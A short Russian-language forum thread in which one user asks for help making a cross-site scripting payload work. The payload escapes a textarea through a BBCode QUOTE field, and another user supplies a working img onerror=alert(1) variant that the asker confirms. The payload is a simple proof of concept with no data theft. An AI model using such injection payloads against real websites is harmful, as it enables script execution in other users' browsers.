Помощь с XSS

[Raskolnikov]

Получается вот такой пэйлод, как избавиться от символа "]", чтобы всё отработало?

<textarea name="subscribe">[QUOTE=</textarea><img/]/onload=alert(1)//[/QUOTE]

my_payload - пользовательские данные: [QUOTE=my_payload]my_payload[/QUOTE]

 

[Raskolnikov]

Неужели это невозможно?

 

[Citizen0]

<textarea name="subscribe">[QUOTE=</textarea><img src/]/onerror=alert(1)//[/QUOTE]

 

[Raskolnikov]

<textarea name="subscribe">[QUOTE=</textarea><img src/]/onerror=alert(1)//[/QUOTE]

Благодарю, всё сработало. Похоже в этом разделе нельзя лайк поставить

 

[Сергей Попов]

Похоже в этом разделе нельзя лайк поставить

В этом разделе можно и нужно оценить ответ.

Скажите пожалуйста, вам видно это?

 

[Raskolnikov]

В этом разделе можно и нужно оценить ответ.

Скажите пожалуйста, вам видно это?

Посмотреть вложение 30248

Не обратил внимания, поставил +